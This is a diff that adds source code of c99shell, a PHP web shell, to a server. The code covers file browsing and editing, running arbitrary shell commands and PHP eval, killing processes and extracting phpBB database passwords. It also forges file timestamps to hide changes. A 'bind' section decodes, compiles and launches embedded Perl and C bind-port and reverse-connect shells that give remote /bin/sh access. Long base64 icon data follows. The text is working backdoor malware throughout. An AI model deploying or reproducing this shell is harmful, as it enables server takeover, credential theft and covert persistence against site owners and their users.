+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+
+ if ($ext == ".tar.gz")
+ {
+ $cmdline = "tar cfzv";
+ }
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\","/",$v);
+ if (is_dir($v))
+ {
+ if (substr($v,strlen($v)-1,strlen($v)) != "/") {$v .= "/";}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $ret = `$cmdline`;
+ if (empty($ret)) {$arcerr .= "Can't call archivator! ";}
+ $ret = str_replace("\r\n","\n");
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while ($o = readdir($h)) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ }
+ if (count($list) == 0) {echo "Can't open directory (".htmlspecialchars($d).")! ";}
+ else
+ {
+ //Building array
+ $tab = array();
+ $amount = count($ld)+count($lf);
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+
+ $k = $sort[0];
+ if ((!is_numeric($k)) or ($k > count($row)-2)) {$k = 0;}
+ if (empty($sort[1])) {$sort[1] = "d";}
+ if ($sort[1] != "a")
+ {
+ $y = " ";
+ }
+ else
+ {
+ $y = " ";
+ }
+
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+
+ $tab = array();
+ $tab[cols] = array($row);
+ $tab[head] = array();
+ $tab[dirs] = array();
+ $tab[links] = array();
+ $tab[files] = array();
+
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $dir = dirname($v);
+
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+
+ $row = array();
+
+ if ($o == ".")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif ($o == "..")
+ {
+ $row[] = " ".$o." ";
+ $row[] = "LINK";
+ }
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$disppath .= " => ".readlink($v); $type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = " [".$disppath."] ";
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size(filesize($v));
+ }
+ $row[] = date("d.m.Y H:i:s",filemtime($v));
+
+ if (!$win)
+ {
+ $ow = @posix_getpwuid(fileowner($v));
+ $gr = @posix_getgrgid(filegroup($v));
+ $row[] = $ow["name"]."/".$gr["name"];
+ }
+
+ if (is_writable($v)) {$row[] = "".view_perms(fileperms($v))." ";}
+ else {$row[] = "".view_perms(fileperms($v))." ";}
+
+ if (is_dir($v)) {$row[] = " ";}
+ else {$row[] = " ";}
+
+ if (($o == ".") or ($o == "..")) {$tab[head][] = $row;}
+ elseif (is_link($v)) {$tab[links][] = $row;}
+ elseif (is_dir($v)) {$tab[dirs][] = $row;}
+ elseif (is_file($v)) {$tab[files][] = $row;}
+ }
+ }
+ $v = $sort[0];
+ function tabsort($a, $b)
+ {
+ global $v;
+ return strnatcasecmp(strip_tags($a[$v]), strip_tags($b[$v]));
+ }
+ usort($tab[dirs], "tabsort");
+ usort($tab[files], "tabsort");
+ if ($sort[1] == "a")
+ {
+ $tab[dirs] = array_reverse($tab[dirs]);
+ $tab[files] = array_reverse($tab[files]);
+ }
+ //Compiling table
+ $table = array_merge($tab[cols],$tab[head],$tab[dirs],$tab[links],$tab[files]);
+ echo "Listing directory (".count($tab[files])." files and ".(count($tab[dirs])+count($tab[links]))." directories): ";
+ echo "";
+ foreach($table as $row)
+ {
+ echo "\r\n";
+ foreach($row as $v) {echo "".$v." \r\n";}
+ echo " \r\n";
+ }
+ echo "
";
+ if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
+ {
+ echo " ";
+ }
+ echo "With selected: ";
+ echo "Delete ";
+ if ($usefsbuff)
+ {
+ echo "Cut ";
+ echo "Copy ";
+ echo "Unselect ";
+ }
+ if ($dspact == "massdeface") {echo "Unselect ";}
+ echo "
";
+ echo " ";
+ }
+}
+if ($act == "bind")
+{
+ $bndsrcs = array(
+"c99sh_bindport.pl"=>
+"IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW".
+"WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI".
+"TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS".
+"RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp".
+"bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph".
+"Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+Jlg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1ApIDsg".
+"DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1".
+"Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0".
+"KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo".
+"ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi".
+"c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="
+);
+
+ $bndportsrcs = array(
+"c99sh_bindport.pl"=>array("Using PERL","perl %path %port"),
+"c99sh_bindport.c"=>array("Using C","%path %port %pass")
+);
+
+ $bcsrcs = array(
+"c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"),
+"c99sh_backconn.c"=>array("Using C","%path %host %port")
+);
+
+ if ($win) {echo "Binding port and Back connect: This functions not work in Windows! ";}
+ else
+ {
+ if (!is_array($bind)) {$bind = array();}
+ if (!is_array($bc)) {$bc = array();}
+ if (!is_numeric($bind[port])) {$bind[port] = $bindport_port;}
+ if (empty($bind[pass])) {$bind[pass] = $bindport_pass;}
+ if (empty($bc[host])) {$bc[host] = $REMOTE_ADDR;}
+ if (!is_numeric($bc[port])) {$bc[port] = $bindport_port;}
+ if (!empty($bindsubmit))
+ {
+ echo "Result of binding port: ";
+ $v = $bndportsrcs[$bind[src]];
+ if (empty($v)) {echo "Unknown file! ";}
+ elseif (fsockopen($SERVER_ADDR,$bind[port],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other! ";}
+ else
+ {
+ $srcpath = $tmpdir.$bind[src];
+ $w = explode(".",$bind[src]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $binpath = $tmpdir.join(".",$w);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ else
+ {
+ $data = base64_decode($bndsrcs[$bind[src]]);
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%port",$bind[port],$v[1]);
+ $v[1] = str_replace("%pass",$bind[pass],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ sleep(5); //Timeout
+ $sock = fsockopen("localhost",$bind[port],$errno,$errstr,5);
+ if (!$sock) {echo "I can't connect to localhost:".$bind[port]."! I think you should configure your firewall.";}
+ else {echo "Binding... ok! Connect to ".$SERVER_ADDR.":".$bind[port]." ! You should use NetCat©, run \"nc -v ".$SERVER_ADDR." ".$bind[port]." \"!View binder's process ";}
+ }
+ echo " ";
+ }
+ }
+ if (!empty($bcsubmit))
+ {
+ echo "Result of back connection: ";
+ $v = $bcsrcs[$bc[src]];
+ if (empty($v)) {echo "Unknown file! ";}
+ else
+ {
+ $srcpath = $tmpdir.$bc[src];
+ $w = explode(".",$bc[src]);
+ $ext = $w[count($w)-1];
+ unset($w[count($w)-1]);
+ $binpath = $tmpdir.join(".",$w);
+ if ($ext == "pl") {$binpath = $srcpath;}
+ @unlink($srcpath);
+ $fp = fopen($srcpath,"ab+");
+ if (!$fp) {echo "Can't write sources to \"".$srcpath."\"! ";}
+ else
+ {
+ $data = base64_decode($bndsrcs[$bind[src]]);
+ fwrite($fp,$data,strlen($data));
+ fclose($fp);
+ if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
+ $v[1] = str_replace("%path",$binpath,$v[1]);
+ $v[1] = str_replace("%host",$bc[host],$v[1]);
+ $v[1] = str_replace("%port",$bc[port],$v[1]);
+ $v[1] = str_replace("//","/",$v[1]);
+ $retbind = myshellexec($v[1]." > /dev/null &");
+ echo "Now script try connect to ".$bc[host].":".$bc[port]."... ";
+ }
+ }
+ }
+ ?>Binding port: Port: Password: $v) {echo "".$v[0]." ";}
+?>
+Back connection: HOST: Port: $v) {echo "".$v[0]." ";}
+?>
+Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p <port> "!Result of execution this command: ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ myshellexec($cmd);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($cmd_txt)
+ {
+ $rows = count(explode("
+",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret;}
+ }
+ else
+ {
+ if ($cmd_txt)
+ {
+ echo "";
+ myshellexec($cmd);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = true;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+if ($act == "ps_aux")
+{
+ echo "Processes: ";
+ if ($win) {echo "This function not work in Windows! ";}
+ else
+ {
+ if ($pid)
+ {
+ if (!$sig) {$sig = 9;}
+ echo "Sending signal ".$sig." to #".$pid."... ";
+ $ret = posix_kill($pid,$sig);
+ if ($ret) {echo "ok. he is dead, amen.";}
+ else {echo "ERROR. Can't send signal ".htmlspecialchars($sig).", to process #".htmlspecialchars($pid).".";}
+ }
+ $ret = `ps -aux`;
+ if (!$ret) {echo "Can't execute \"ps -aux\"!";}
+ else
+ {
+ $ret = htmlspecialchars($ret);
+ $ret = str_replace(" "," ",$ret);
+ while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+ $prcs = explode("\n",$ret);
+ $head = explode(" ",$prcs[0]);
+ $head[] = "ACTION";
+ unset($prcs[0]);
+ echo "";
+ echo "";
+ foreach ($head as $v) {echo " ".$v." ";}
+ echo " ";
+ foreach ($prcs as $line)
+ {
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10,count($line)));
+ $line = array_slice($line,0,11);
+ $line[] = "KILL ";
+ foreach ($line as $v) {echo " ".$v." ";}
+ echo " ";
+ }
+ }
+ echo "
";
+ }
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Result of execution this PHP-code : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ ob_clean();
+ eval($eval);
+ $ret = ob_get_contents();
+ $ret = convert_cyr_string($ret,"d","w");
+ ob_clean();
+ echo $tmp;
+ if ($eval_txt)
+ {
+ $rows = count(explode("
+",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret;}
+ }
+ else
+ {
+ if ($eval_txt)
+ {
+ echo "";
+ eval($eval);
+ echo " ";
+ }
+ else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Execution PHP-code "; if (empty($eval_txt)) {$eval_txt = true;}}
+ echo "".htmlspecialchars($eval)." Display in text-area ";
+}
+if ($act == "f")
+{
+ $r = @file_get_contents($d.$f);
+ if (!is_readable($d.$f) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v)
+ {
+ if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+ $arr = array(
+array(" ","info"),
+array(" ","html"),
+array(" ","txt"),
+array("Code","code"),
+array("Session","phpsess"),
+array(" ","exe"),
+array("SDB","sdb"),
+array(" ","img"),
+array(" ","ini"),
+array(" ","download"),
+array(" ","notepad"),
+array(" ","edit")
+);
+ echo "Viewing file: ".$f." (".view_size(filesize($d.$f)).") ";
+ if (is_writable($d.$f)) {echo "full read/write access (".view_perms(fileperms($d.$f)).") ";}
+ else {echo "Read-Only (".view_perms(fileperms($d.$f)).") ";}
+ echo " Select action/file-type: ";
+ foreach($arr as $t)
+ {
+ if ($t[1] == $rft) {echo " ".$t[0]." ";}
+ elseif ($t[1] == $ft) {echo " ".$t[0]." ";}
+ else
+ {
+ echo " ".$t[0]." ";
+ }
+ echo " (+ ) |";
+ }
+ echo " ";
+ if ($ft == "info")
+ {
+ echo "Information: ";
+ echo "";
+ echo "Size ".view_size(filesize($d.$f))." ";
+ echo "MD5 ".md5_file($d.$f)." ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $tmp=posix_getpwuid(fileowner($d.$f));
+ if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." ";
+ else echo $tmp['name']." ";
+ $tmp=posix_getgrgid(filegroup($d.$f));
+ if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f);
+ else echo $tmp['name'];
+ }
+ echo " Perms ";
+
+ if (is_writable($d.$f))
+ {
+ echo "".view_perms(fileperms($d.$f))." ";
+ }
+ else
+ {
+ echo "".view_perms(fileperms($d.$f))." ";
+ }
+
+ echo " ";
+ echo "Create time ".date("d/m/Y H:i:s",filectime($d.$f))." ";
+ echo "Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." ";
+ echo "MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))." ";
+ echo "
";
+
+
+ $fi = fopen($d.$f,"rb");
+ if ($fi)
+ {
+ if ($fullhexdump)
+ {
+ echo "FULL HEXDUMP ";
+ $str=fread($fi,filesize($d.$f));
+ }
+ else
+ {
+ echo "HEXDUMP PREVIEW ";
+ $str=fread($fi,$hexdump_lines*$hexdump_rows);
+ }
+ $n=0;
+ $a0="00000000 ";
+ $a1="";
+ $a2="";
+ for ($i=0; $i0"; break;
+ case 32:
+ case 10:
+ case 13: $a2.=" "; break;
+ default: $a2.=htmlspecialchars($str[$i]);
+ }
+ $n++;
+ if ($n == $hexdump_rows)
+ {
+ $n = 0;
+ if ($i+1";}
+ $a1.=" ";
+ $a2.=" ";
+ }
+ }
+ //if ($a1!="") {$a0.=sprintf("%08X",$i)." ";}
+ echo " ";
+ }
+ $encoded = "";
+ if ($base64 == 1)
+ {
+ echo "Base64 Encode ";
+ $encoded = base64_encode($r);
+ }
+ elseif($base64 == 2)
+ {
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode($r));
+ }
+ elseif($base64 == 3)
+ {
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode($r);
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+ }
+ elseif($base64 == 4)
+ {
+ }
+ if (!empty($encoded))
+ {
+ echo "".htmlspecialchars($encoded)." ";
+ }
+ echo "HEXDUMP: [Full ] [Preview ]Base64:
+ [Encode ]
+ [+chunk ]
+ [+chunk+quotes ]
+ [Decode ]
+ ";
+ }
+ elseif ($ft == "html")
+ {
+ if ($white) {@ob_clean();}
+ echo $r;
+ if ($white) {exit;}
+ }
+ elseif ($ft == "txt")
+ {
+ echo "
".htmlspecialchars($r)." ";
+ }
+ elseif ($ft == "ini")
+ {
+ echo "";
+ var_dump(parse_ini_file($d.$f,true));
+ echo " ";
+ }
+ elseif ($ft == "phpsess")
+ {
+ echo "";
+ $v = explode("|",$r);
+ echo $v[0]." ";
+ var_dump(unserialize($v[1]));
+ echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+ echo " ";
+ }
+ elseif ($ft == "sdb")
+ {
+ echo "";
+ var_dump(unserialize(base64_decode($r)));
+ echo " ";
+ }
+ elseif ($ft == "code")
+ {
+ if (ereg("phpBB 2.(.*) auto-generated config file",$r))
+ {
+ $arr = explode("
+",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array(
+ "dbms"=>$dbms,
+ "dbhost"=>$dbhost,
+ "dbname"=>$dbname,
+ "dbuser"=>$dbuser,
+ "dbpasswd"=>$dbpasswd
+ );
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+
+ echo " ";
+ echo " ";
+ }
+ }
+ echo "";
+ if (!empty($white)) {@ob_clean();}
+ if ($rehtml) {$r = rehtmlspecialchars($r);}
+ $r = stripslashes($r);
+ $strip = false;
+ if(!strpos($r,"") && substr($r,0,2)!="") {$r=""; $r = trim($r); $strip = true;}
+ $r = @highlight_string($r, TRUE);
+ if ($delspace) {$buffer = str_replace (" ", " ", $r);}
+ echo $r;
+ if (!empty($white)) {exit;}
+ echo "
";
+ }
+ elseif ($ft == "download")
+ {
+ @ob_clean();
+ header("Content-type: c99shell");
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "notepad")
+ {
+ @ob_clean();
+ header("Content-type: text/plain");
+ header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+ echo($r);
+ exit;
+ }
+ elseif ($ft == "img")
+ {
+ if (!$white)
+ {
+ echo " ";
+ }
+ else
+ {
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: image/gif");
+ echo($r);
+ exit;
+ }
+ }
+ elseif ($ft == "edit")
+ {
+ if (!empty($submit))
+ {
+ if ($filestealth) {$stat = stat($d.$f);}
+ if (!is_writable($d.$f) and $autochmod) {@chmod($d.$f,$autochmod);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Saved! ";
+ fwrite($fp,$nfcontent);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $nfcontent;
+ }
+ }
+ $rows = count(explode("
+",$r));
+ if ($rows < 10) {$rows = 10;}
+ if ($rows > 30) {$rows = 30;}
+ echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+if ($act == "phpinfo")
+{
+ ob_end_clean();
+ phpinfo();
+ exit;
+}
+} $data = base64_decode("PGNlbnRlcj48Yj5DcmVkaXRzOjxicj5JZGVhLCBsZWFkaW5nIGFuZCBjb2RpbmcgYnkgdHJpc3RyYW1bQ0NUZWFNXS48YnI+QmV0YS10ZXN0aW5nIGFuZCBzb21lIHRpcHMgLSBOdWtMZW9OIFtBblRpU2hAUmUgdEVhTV0uPGJyPlRoYW5rcyBhbGwgd2hvIHJlcG9ydCBidWdzLjxicj5BbGwgYnVncyBzZW5kIHRvIHRyaXN0cmFtJ3MgSUNRICM2NTY1NTUgPGEgaHJlZj0iaHR0cDovL3d3cC5pY3EuY29tL3NjcmlwdHMvY29udGFjdC5kbGw/bXNndG89NjU2NTU1Ij48aW1nIHNyYz1odHRwOi8vd3dwLmljcS5jb20vc2NyaXB0cy9vbmxpbmUuZGxsP2ljcT02NTY1NTUmaW1nPTUgYm9yZGVyPTAgYWxpZ249YWJzbWlkZGxlPjwvYT4uPC9iPiA8L2NlbnRlcj4gwOLy7vAg4vvw4Obg5fIg4evg4+7k4PDt7vHy/CDu5O3u7PMg7/Du4vMg6u7y7vD76SDu8urr/vfo6yDl4+4g7eAg7OXx//Yg7vIg6O3l8uAsIOgg5Ov/IPLu4+4g9/LuLeH7IO3lIPPs5fDl8vwg7vIg8erz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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
+"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
+"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
+"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
+"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
+"download"=>
+"R0lGODlhDwAQAJECAAAAAP///////wAAACH5BAEAAAIALAAAAAAPABAAQAIslI8pAOH/WGoQqMOC".
+"vAtqxIReuC1UZHGLapAhdzqpEn9Y7Wlplpc3ynqxWAUAOw==",
+"edit"=>
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+"forward"=>
+"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
+"WqsJADs=",
+"home"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNS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YrLDE7a4SADs=",
+"ext_crl"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"ext_crt"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"ext_css"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+"ext_diz"=>
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
+"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
+"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
+"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
+"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4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406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+"AAA7",
+"ext_htm"=>
+"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
+"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+"ADs=",
+"ext_html"=>
+"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
+"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+"ADs=",
+"ext_img"=>
+"R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV".
+"Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp".
+"qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq".
+"BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==",
+"ext_inf"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICA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ODlhFAAUAKL/AAAAAH8Af//4/8DAwL+/v39/fwAAAAAAACH5BAEAAAMALAAAAAAUABQAQANS".
+"OLrcvkXIMKUg4BXCu8eaJV5C8QxRQAmqBTpFLM+nEk3qemUwXkmvxs3n4tWOyCRk5DKdhi0JYGpk".
+"QFm6oNWyylaXud8uxI2Oe8zig8puf5WNBAA7",
+"ext_rtf"=>
